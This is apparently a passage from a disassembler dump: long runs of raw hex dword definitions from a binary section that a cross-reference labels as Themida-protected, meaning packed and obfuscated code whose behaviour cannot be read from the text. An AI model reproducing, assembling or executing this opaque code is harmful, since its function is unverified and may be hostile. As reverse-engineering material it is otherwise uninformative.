1299E2DEh, 12588520h, 12312A77h, 4D126120h dd 6EBBEFE3h, 56B35C04h, 12282804h, 45751620h, 7ABD6EE3h dd 0CB2F7143h, 9FF84946h, 0FFEB9BA5h, 42624925h, 0F77CE672h dd 233D01A0h, 4A685A96h, 0AB160FA9h, 1529547Ah, 0E9C54346h dd 0B3A79EE4h, 74375A22h, 8FBF8FABh, 17DFF620h, 3C1793A9h dd 0AD3D0ECAh, 0EBBD5F2h, 9C88A404h, 0E9B9F160h, 9F192070h dd 17D86995h, 1BEBB9DFh, 125813CAh, 1231E372h, 48128520h dd 46BB98E3h, 56B36504h, 1229B404h, 40705820h, 4F30F1E3h dd 6883CA40h, 1FB7820Ah, 99376F12h, 0F81677ADh, 3C8B0725h dd 57B77645h, 4137B23Ah, 87BB7E77h, 17D81511h, 9C5A547Eh dd 93A5F4AEh, 0E7C3E624h, 74607235h, 4D529799h, 31BFEDDFh dd 125829CAh, 1231FE70h, 4A120B20h, 56BBDDE3h, 56B3C604h dd 122E6504h, 4272B020h, 2BF659E3h, 49B1DDBCh, 1DDBC8D2h dd 57320B20h, 0E176B05Eh, 36908228h, 0C84FD942h, 3DBDF29h dd 0FC325820h, 0E9C3A86Ah, 0A02EF31Ah, 15FF8DA1h, 0E6C93E47h dd 0BD9247ADh, 0C2CD64CDh, 38C73D23h, 97BB5DCAh, 17D83A1Dh dd 0D4E29D46h, 0F8284EA5h, 1258C225h, 12312A75h, 4F126120h dd 7EBBEDE3h, 56B35C04h, 12242804h, 47771620h, 0D9CC0EE3h dd 12F71009h, 16DAC7CAh, 82326120h, 1D93C235h, 12325DAFh dd 0DDB69520h, 986205EBh, 367680F0h, 1D9C3B24h, 12B9BBEFh dd 4DDFD770h, 1616F4A9h, 12325EC8h, 5CE16920h, 0FBC71425h dd 12320B30h, 955220Bh, 0B98DFB19h, 889D92D9h, 0B5C5E2ACh dd 0A854007Fh, 0A7CD955Fh, 17D835ADh, 97F48A46h, 0B2B7082Dh dd 99372F8Fh, 78E29EDBh, 11DAE620h, 32325820h, 9B6CEF7Eh dd 93363254h, 5362F64h, 54328520h, 6ED00176h, 97BBECFCh dd 17D88249h, 877DDE6h, 786129CAh, 11DA4420h, 32320B20h dd 9B68467Ah, 9336E674h, 0E364564h, 5032B020h, 3BB69B72h dd 283673B6h, 93AD1B08h, 37791CE1h, 8643ED53h, 0AD54914Bh dd 16B38A69h, 0DFF9AF04h, 63BFD165h, 0ED37C626h, 0F8119B95h dd 3878025h, 9F376F0Fh, 0FF9D62A5h, 45320B25h, 1232B3C8h dd 0D16D7820h, 364EA57Fh, 36769724h, 12321F24h, 0D165C220h dd 78E23D7Ch, 11DA3320h, 3232B020h, 9B689B7Ah, 93360874h dd 7363264h, 50320B20h, 0B1614672h, 1232CDC8h, 0A69D8C20h dd 976494F6h, 2AB4EAABh, 0FCC742CFh, 123213C9h, 6C8B4C20h dd 996C3461h, 0F8207FB5h, 0BB7E825h, 0D4375A0Ah, 0F8281DA5h dd 12587B25h, 1231FE76h, 4C120B20h, 66BBDBE3h, 56B3C604h dd 12256504h, 4474B020h, 0EDA1E4E3h, 4B61441Dh, 4988F2C4h dd 9372EB99h, 1967A114h, 0DDB3B6C0h, 3628ECCCh, 31BF05DFh dd 12585DCAh, 1231C470h, 4A121620h, 56BB53E3h, 56B38104h dd 122FC604h, 42726120h, 0F7D964E3h, 55BD5203h, 0FBE6C31Eh dd 12321628h, 0CFFB7551h, 54DA6626h, 0BD9247ADh, 913D64CDh dd 1232B022h, 0C2CD92AAh, 0FA612C4Ah, 12321623h, 49F15000h dd 1616D9A9h, 161686A1h, 12326137h, 0EF1E363h, 922417C2h dd 97BB70EEh, 17D80269h, 0A079EA9h, 97F480CAh, 17D8D865h dd 44320B63h, 1232B3C8h, 0D16C7820h, 3646A57Eh, 36769724h dd 12321C24h, 0D164C320h, 2435A41Ch, 39BBF4ABh, 0A701B5CAh dd 17D872EDh, 2F20C748h, 10B9196Ch, 0A0320B20h, 36360456h dd 62619F1Dh, 0FB6491AAh, 1232B028h, 87D5F276h, 754956B8h dd 9F87E97Eh, 9B37E103h, 0F82E94A5h, 0B2B74F25h, 1D378C8Fh dd 0C2CD4197h, 123255C9h, 0BF434C20h, 1C824E4Ch, 913CC56Dh dd 0AD3D706Eh, 0BB74BE9h, 9F378B0Eh, 0FFEB40A5h, 43323225h dd 12322FC8h, 0D16B3620h, 367E8279h, 36760424h, 1232DA24h dd 0D1632020h, 436F3DAFh, 1234B12Ch, 7F782C20h, 0EFD0DC3Eh dd 7262DAABh, 61BD3A46h, 123E2A70h, 99D66120h, 1C76CA13h dd 0B4A64BB9h, 4D684DD6h, 36369F41h, 1DE1B42Fh, 123280A6h dd 0C3B3A420h, 87CD3339h, 17D8B281h, 1443EDA9h, 0CAB929CAh dd 0FA64164Ah, 12320B23h, 4CF1DB00h, 1616B6A9h, 161625A1h dd 1232B036h, 4EF10E66h, 1DDAEEBDh, 3D321620h, 112D182Ah dd 11F70AD8h, 0A3F1423Eh, 48C7F337h, 0FE30DABh, 97BF5DCAh dd 17DFF5C4h, 42E49DB0h, 12320EC9h, 0DF0FE920h, 78A2A18Ch dd 11DA3220h, 3232B020h, 9B699B7Bh, 9336087Ch, 9363264h dd 51320B20h, 69934673h, 0D17CAB64h, 45628647h, 0F72FBF9Fh dd 0EBB0210h, 47324604h, 123215C8h, 0D16F2B20h, 365E0C7Dh dd 36764324h, 12327524h, 0D167F520h, 6ECD929h, 0A809C54Ch dd 6E34948Ah, 1BEB9EDFh, 125880CAh, 12312A76h, 4C126120h dd 66BBEEE3h, 56B35C04h, 12262804h, 44741620h, 9FB9EEE3h dd 17D89595h, 38F747A9h dd 0D8B364CAh, 69121008h, 8FB79FD8h, 1D37C636h, 78321620h dd 11DA5E20h, 32328520h, 9B6F017Dh, 9336454Ch, 8369464h dd 57325820h, 237EF75h, 43A937F7h, 8BBF8222h, 0ED376F11h dd 0F81807B5h, 40320B25h, 1232B3C8h, 0D1687820h, 3666A57Ah dd 36769724h, 12321F24h, 0D160C720h, 1FB74B3Bh, 72378B09h dd 1232A3C9h, 9381AA20h, 7C63E395h, 2E29AAA7h, 3FE2CADCh dd 0CFBD8583h, 1232CEC9h, 2CAB2220h, 0DC1F2DE9h, 6423D60Eh dd 97B94DC4h, 17D83A3Dh, 0F88996ADh, 51BB80CDh, 638F4F21h dd 9F378B0Fh, 0FFD82595h, 1201E125h, 0B6C12C20h, 128A25CBh dd 19320B20h, 0D031F1E0h, 56B9C238h, 0FA616D04h, 1232B020h dd 5F1D97Bh, 9B322C20h, 9B22327Ch, 49262F64h, 0B292B298h dd 99D23D20h, 0ED364564h, 4532DAC0h, 12325BC8h, 0D16D0C20h dd 364E9F7Fh, 36768A24h, 12329E24h, 0D1658520h, 455AA249h dd 0D569A67Bh, 0C4EE8EA1h, 995420A6h, 1222FFD0h, 0DD830B20h dd 0C44486BDh, 51283F66h, 31858C42h, 0AB5373BCh, 515FE68Bh dd 0CBD691ADh, 9FBF13CDh, 17DFE00Bh, 3499B098h, 0AFB7F1B8h dd 39378B03h, 207852EFh, 2011DA7Eh, 7A323216h, 749B68C8h dd 649336A1h, 200736E6h, 72503261h, 0F305E983h, 89D98BA4h dd 0EA010D95h, 5FE905h, 830F0000h, 0Ch, 6840Fh, 850F0000h dd 0 dd 0E9506061h, 12h, 0D9858CC3h, 977F4471h, 63BB2F91h, 9F3C2C19h dd 0E95F86C3h, 13h, 9B418801h, 4C8BFFB1h, 3F942A4Ah, 0EF70D08Eh dd 618E1A76h, 0C18B60C3h, 0FE9h, 5AC7AD00h, 29E6689Ch dd 0FA1ABA90h, 0FF1CE034h, 6AC08B61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A725C350h dd 800FD3B1h, 0Ah, 0CC78160h, 8B489155h, 0BD8361CAh, 5EA13D9h dd 83097500h, 0EA2EE5BDh, 19740005h, 0C08B5350h, 4B9B8h dd 69858900h, 8D05EA07h, 0ECDE5C9Dh, 5BD3FF05h, 0E5BD8358h dd 5EA2Eh, 53501774h, 4B9B8h, 69858900h, 8D05EA07h, 0ECDAFD9Dh dd 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E950C58Ah, 5, 0FEBE071Eh, 0FC08BCEh dd 189h, 8B40F900h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 8603ED36h, 0FF9FF6Fh dd 0C88h, 68C0F00h, 89000000h, 0EA1E7585h, 0B1B50B05h dd 0EB05EA15h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 55C73EEFh, 5D7291D0h dd 4DBD8990h, 905EA2Dh, 0EA0C658Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8D452AA5h dd 0EA298D85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F5E5ED98h, 3C07BC33h dd 59BD8BA8h, 9005EA31h, 0ACF6BB60h, 0BB665F2Ah, 5061FCCAh dd 13E8h, 300A3A00h, 8F0E823Eh, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh dd 0FA8B6650h, 6A905E5Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0F4A0C353h, 8B8A9118h dd 0EA0A69BDh, 89952905h, 6A05EA1Dh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 5325150Dh dd 71BD8B19h, 0BE05EA31h, 34001489h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 22632EC3h dd 31D37626h, 8D3D9FD6h, 0EDEED685h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0E9E2FE8Ah dd 0ECADF17Eh, 2EB7C681h, 0C0837C6Dh, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0AAEB53CFh, 89505F57h, 0BD332404h, 5EA00E1h, 8B66006Ah dd 6A006AF3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0CA93C357h, 23E995FFh, 8D8905EAh dd 5EA1055h, 0D89D9D8Dh, 6A05EDh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0BAED77C3h, 290E66D5h dd 0EA258D9Dh, 0C800F05h, 0F000000h, 68Bh, 0F9952900h dd 0FF05EA2Bh, 858B60D3h, 5EA0D29h, 85FFF961h, 5EA1C49h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2EC35747h dd 0E6C08A45h, 1CCC1331h, 8595092Bh, 0E905EA0Bh, 6F7h dd 0E8h, 0ED815D00h, 5EDEEE0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A1C35141h, 0F51BA7Ah, 380h dd 0FA8B6600h, 49BD895Fh, 8105EA1Bh, 0EA169DBDh, 7D005h dd 3860F00h, 0F8000001h, 7159D8Bh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 12E9F9C3h dd 0A6000000h, 0D0DD9BADh, 7D8C7BA9h, 4CF82A46h, 0E82B4E01h dd 0E3817Eh, 0B000001h, 56850FDBh, 2B000000h, 0EA2D71BDh dd 0ADBD8B05h, 8305EA07h, 0EDECA0BDh, 840F0005h, 1Eh, 88F0Fh dd 0B1600000h, 2AB966C5h, 0BD8B6127h, 5EA105Dh, 31E9h dd 0DDA2BE00h, 85C72138h, 5EDECA0h, 1, 671B589h, 17E905EAh dd 60000000h, 0E28108B0h, 68CDF0F1h, 0A085C761h, 5EDECh dd 66000000h, 9D8DF38Bh, 5EA0715h, 24F68160h, 0E8354C9Fh dd 9, 0E0126F03h, 3FCDCE0Ah, 0D9D89C1h, 5A05EA33h, 0FF238161h dd 0E8FFFFFEh, 11h, 6E620A9Ch, 0A310B152h, 0E6733075h dd 18FCA532h, 0CE809h, 52760000h, 9BEA95A9h, 3F6AA680h dd 0B58B1A04h, 5EA0665h, 8C665F5Eh, 55006ADBh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BF66A017h dd 0F28B9422h, 0F04C3F6h, 5584h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0C860F2Dh dd 0F000000h, 68Dh, 0C1B58B00h, 0FF05EA2Ch, 0EA2AC595h dd 0DE905h, 55ED0000h, 88082B2Eh, 0BD9E786Eh, 90CA4149h dd 0A84BF66h, 0D55ABE50h, 6690730Ch, 47E9FB8Bh, 6A000004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 69A7C352h, 8B66CD3Fh, 9D8952FAh, 5EA0A61h dd 0FE8B665Fh, 0E68100B0h, 178AE19Ah, 896070E6h, 0EA13019Dh dd 0F7C18105h, 6167013Ah, 6A71E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 233196C3h, 8B7B3676h dd 0EA3059B5h, 0D8B60F05h, 0FE8B6657h, 6BA5Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0FBA3FC3h, 96F91446h, 0B533362Fh, 5EA3101h, 8D89C38Bh dd 5EA1C45h, 8B04E8C1h, 0EA3301B5h, 0E2F76605h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 46C35646h, 6AD82Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 92C93DC3h, 50F3B70Fh, 25C3BB60h, 89610FDCh, 0FFF9241Ch dd 0EA169DB5h, 1595FF05h, 5205EA10h, 6A00B05Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0EBA8C356h, 0E72B1B69h, 31BCFF0Ch, 0EA2D599Dh, 6A70E605h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0EFD8C351h, 0E880008Eh, 11h, 4087425Eh, 0AB01F36Bh dd 840F688Bh, 9DD6CFA4h, 8D895E44h, 5EA2E45h, 6671E4F9h dd 449BEE81h, 5916BE66h, 830F613Ch, 2B6h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 5FC35545h, 1F05BF39h dd 335342FAh, 0EA0C3DB5h, 0B60F5E05h, 0ADB531D8h, 8905EA0Dh dd 0EA07C98Dh, 6BA05h, 0B58B0000h, 5EA0B21h, 6AC38Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1C73A6C3h, 15B58B00h, 0C105EA06h, 0FE904E8h, 0D0000000h dd 91A9760Ch, 0DB7BDEC9h, 4FC81E3Bh, 0F7666AFCh, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 786264CAh, 2BC98462h, 6AD82B4Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C3AAC351h dd 0F133EA3h, 281h, 0FF08B00h, 6A58FEB7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A857C351h dd 90164E72h, 11FDB503h, 0D82B05EAh, 1B0880Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 53FFC9C3h dd 3A64E25Bh, 8D89D088h, 5EA3149h, 7B9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 1EA3E3AFh, 83FD6C20h, 6A00C1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 850FC7C3h, 3, 0E9FAB70Fh dd 13h, 25AF0472h, 0BA878C65h, 415C5A07h, 75028567h, 3B98BE19h dd 17860FD9h, 60000001h, 13D58D89h, 666105EAh, 6AD98Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F3497FC3h, 45B5DFFh, 1840F60h, 0F8000000h, 0ED58589h dd 296105EAh, 0EA0C919Dh, 4C1F605h, 0A5840Fh, 85890000h dd 5EA0BB9h, 2AC595FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 82BF1AC3h, 0FBB70F45h dd 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BA7364Ah, 0EA1D31BDh, 14E95105h, 0EC000000h dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 5FFC76B9h dd 7E8h, 0C9F1C200h, 0EB59D17Eh, 32DBF681h, 2B5E5090h dd 0F78BF8C3h, 8343Dh, 14860F00h, 0F000000h, 382h, 0F98B6600h dd 2DE9h, 0FDB58B00h, 8B05EA0Ch, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 89538BEFh dd 0EA1B8185h, 0C38B5F05h, 85C7D88Bh dword_57FF68 dd 5EA1E71h, 1A986117h, 8BF1B70Fh, 0BE9C0h, 1E640000h ; DATA XREF: Themida_:0054EA6Eo dd 352F2BA3h, 7E9DE03Bh, 9DBD815Dh, 0D005EA16h, 0F000007h dd 5085h, 0F5B53100h, 0FF05EA0Eh, 0EA169D85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8B1DCBh, 5EA2E4Dh, 24D1BD8Bh, 8E805EAh, 48000000h dd 0DD93BABBh, 0E9DE9B58h, 8, 4196037Dh, 0AA1B6219h, 9DB5FF5Fh dd 8905EA16h, 0EA23E5B5h, 1595FF05h, 0FC05EA10h, 0B918589h dd 0B89005EAh, 12345678h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0DDC35141h, 3391D3D6h, 66E68618h, 8D7B79BFh dd 0EDF5969Dh, 0F90EE905h, 0A8BFFFFFh, 8B28A604h, 55006AC1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 272987D1h, 55BD8B94h, 0EB05EA2Ah, 4, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8D026C4Fh, 0EA298D85h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 118D892Fh dd 5005EA1Eh, 489F78Bh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0CFE7B40Eh, 0E781A5F3h dd 65380250h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0B23157C3h, 11E8B0C4h, 6B000000h dd 0E519CA6Fh, 1A88B479h, 0F55082E0h, 38F2A5B0h, 2BF1B58Bh dd 6A5E05EAh, 0EFEF8100h, 0E92E0353h, 5, 9CB9959Eh, 85858D71h dd 6605EDF7h, 8342FBBEh, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 9884D3C3h, 89B4D133h dd 0EA00218Dh, 0FE8B5005h, 89240489h, 0EA14ADBDh, 6A006A05h dd 0E995FF00h, 6A05EA23h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8BDFC353h, 0EA0081BDh dd 31BD8905h, 8D05EA0Bh, 0EDD89D9Dh, 7E905h, 4EDF0000h dd 0F728B4D9h, 6AD3FF5Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F5E5C351h, 0DE9h dd 0B5D14200h, 9C65F51Fh, 0D733D67Dh, 85FFAB0Ah, 5EA1C49h dd 0BF9BD01h, 64E905EAh, 0E800000Eh, 0 dd 8FED815Dh, 6A05EDF7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 7CE6C357h, 953D4E0h dd 0EA29099Dh, 0BD815F05h, 5EA169Dh, 7D0h, 13C860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 53C92C3h, 1873E2D8h, 9D8B8EC6h, 5EA146Dh, 0E381F8h dd 0E9000001h, 6, 4834CF2h, 0DB0B919Eh, 97850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C1DD12C3h, 0F5FCBD83h, 0F0005EDh, 5884h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0F80CD2DDh, 0DB1C9C4Eh, 1211B503h, 816605EAh, 0E9C514DFh dd 46h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh dd 9DC35040h, 0C1087A9Fh, 0ECD13B24h, 0FC85C76Eh, 105EDF5h dd 0E9000000h, 12h, 63FA8BBEh, 0FC85C702h, 5EDF5h, 0F000000h dd 9D8DF0BFh, 5EA146Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0CFC35141h, 5E5B1FDBh, 81122C87h, 0FFFEFF23h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0BDE01BD0h, 15F5BD31h, 8C6605EAh, 0E6BF66DBh dd 4C3F69Ch, 75840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 3DDBA5C3h, 0DDAF2CD2h dd 2BCE811Ch, 6659EF68h, 0FFD7E8BEh, 0EA2AC595h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0DEBF6639h, 0F98B50B8h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E970C352h dd 3B7h, 0BD8B00B0h, 5EA1BA1h, 6A70E6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0E57DE5C3h dd 0B779BF45h, 71E40846h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 63C35545h, 8D297676h, 5EA05B5h, 9D8B60Fh dd 0EA05E595h, 6BA05h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 66F5D6C3h, 66C38B2Eh dd 0C781FB8Bh, 611C768Ah, 6604E8C1h, 0ED0ADE81h, 6AE2F766h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0F54EC356h, 22D4C6CEh, 0C8CF8153h, 5E14380Ch dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 73FB18C3h, 128F0F93h, 0E9000000h, 0Dh, 4335D27h dd 82E4B04Eh, 1F9CFF2Ch, 14E85012h, 8E000000h, 2FEBF6E0h dd 0DAEF2475h, 2DC92E63h, 0B237442h, 6033FA33h, 66F98B66h dd 610F96B9h, 0B58B935Eh, 5EA1DC9h, 169DB5FFh, 958905EAh dd 5EA0229h, 0D41B58Bh, 95FF05EAh, 5EA1015h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 9CC35141h, 8BD135CDh dd 0EA2C89BDh, 6A00B005h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0DD67C351h, 0AE9h dd 22108A00h, 50BF78C5h, 60AB2DE8h, 10959D89h, 0E66105EAh dd 0FF28B70h, 71E4F6B7h, 2BB18D89h, 613C05EAh, 209830Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C0A4A7C3h, 1715BD29h, 0B60F05EAh, 50006AD8h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D8B560CCh, 0E8F98B66h, 9, 347FAB75h, 0A9B64757h, 0C5BD8BD1h dd 5F05EA19h, 6BAh, 0C6816600h, 0C38BE8A0h, 0EE9h, 66832600h dd 0C498DFDCh, 0EB7C1F66h, 0C1AECEADh, 6A04E8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F97558C3h, 0E2F766F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0C1C35242h, 6F2B636Dh, 0DE90Ah, 0DF080000h dd 0C200C014h, 0B78FFA97h, 535D91D5h, 29C2E781h, 2B5F559Bh dd 9DB58BD8h, 6005EA09h, 5E8h, 505A300h, 870F7A37h, 0 dd 1D85035Eh, 6105EA33h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 41893242h, 28C1BD03h dd 0D82B05EAh, 0DD880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 5208DC3h, 7B9FF24h, 0E9000000h dd 0Ah, 9C487E8Eh, 43DA4FF6h, 0C18395A2h, 0E5850100h, 3B05EA2Ah dd 98860FD9h, 0F8000000h, 92E68166h, 0D98C669Ch, 13E8h dd 87F66400h, 0A8CDE1F4h, 0F1C0AB28h, 0F35CBFFh, 263FBC8Bh dd 0F65FF78Bh, 840F04C1h, 5Eh, 0FFF0BF0Fh, 0EA2AC595h dd 6870F05h, 3000000h, 0EA155DB5h, 890F5205h, 5, 4DCF8166h dd 2B5B5FF5h, 0F18B66C3h, 8343Dh, 2B860F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B3CC356h, 0C9B58BFAh, 0E905EA23h, 0Fh, 0C08BF28Bh dd 0CBB70F60h, 2CC19509h, 8B6105EAh, 6AD88BC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0B642C350h, 958976FEh, 5EA1E91h, 71585C7h, 0D15905EAh dd 8E0F597Bh, 3, 8BFA8B66h, 3D9D89C0h, 8105EA06h, 0EA169DBDh dd 7D005h, 62850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0C846C351h, 11E96687h dd 0BA000000h, 7B39BDCEh, 0B2D496FCh, 42772EE9h, 0AA3D23E6h dd 169D85FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0E88862C3h, 0D531D0B5h, 8B66492Bh dd 9DB5FFFAh, 8905EA16h, 0EA1B598Dh, 1595FF05h, 6A05EA10h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0A9C1C355h, 4C31C9BAh, 40901308h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C0C35646h, 0BD23C60Ch dd 5EA0D51h, 5E9h, 0F0035700h, 0BD89E22Ah, 5EA1711h, 1005BD83h dd 0F0005EAh, 0CC84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0B70FF5EEh, 0D1BD83F9h dd 5EA1Ch, 9F840Fh, 0BD890000h, 5EA1741h, 100595FFh, 6A05EAh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 5927D4C3h, 83A3B6F1h, 0FDAD80Dh, 0C8Bh, 6860F00h, 8B000000h dd 0EA0C99BDh, 0FC00B05h, 5484h, 95896000h, 5EA1399h, 12B98D01h dd 8D6105EAh, 0EA4C218Dh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0BD55D29Ch dd 0B818A68Eh, 5, 10E9h, 0D3430100h, 66E0DE2Ch, 0AE388E3h dd 6B2CAE4Fh, 8BE1FFAFh, 7DBD83FAh, 5EA14h, 645840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 6D960C3h, 0F18BF78Bh, 1CD1BD83h, 0F0005EAh, 61684h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 7718AA51h, 8847B4BEh, 0ED8D8D4Bh, 6A05EA15h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0AE0DC357h, 0BD235002h, 5EA28E1h, 7C8401C7h dd 816644B2h, 81EFB9DEh, 99CFCB01h, 51006A14h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 411276D7h dd 0C7F8FBFDh, 6B340441h, 6ACE70h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0D444B8C3h, 558F0858h dd 0F714CC8h, 4181F2BFh, 0D6D71004h, 85BD8931h, 6A05EA1Ch dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0C0806037h, 61D78B04h, 15ED858Dh, 6A05EAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 9DB802C3h, 39EC4A46h, 0BD31C8B4h, 5EA0A99h, 13E890h dd 0C5C20000h, 285CF358h, 74245C4Fh, 0F9EF591Dh, 96A80AFh dd 68A0F5Fh, 0F000000h, 8Fh, 0F505F00h, 0A8Ch, 60525000h dd 53310F61h, 90585A5Fh, 1BE6652h, 95FF5E96h, 5EA147Dh dd 1E880Fh, 12E80000h, 0AC000000h, 7ABAF0F3h, 235A5CE5h dd 6B243111h, 8130D387h, 41B53394h, 5E05EA17h, 15ED8D8Dh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 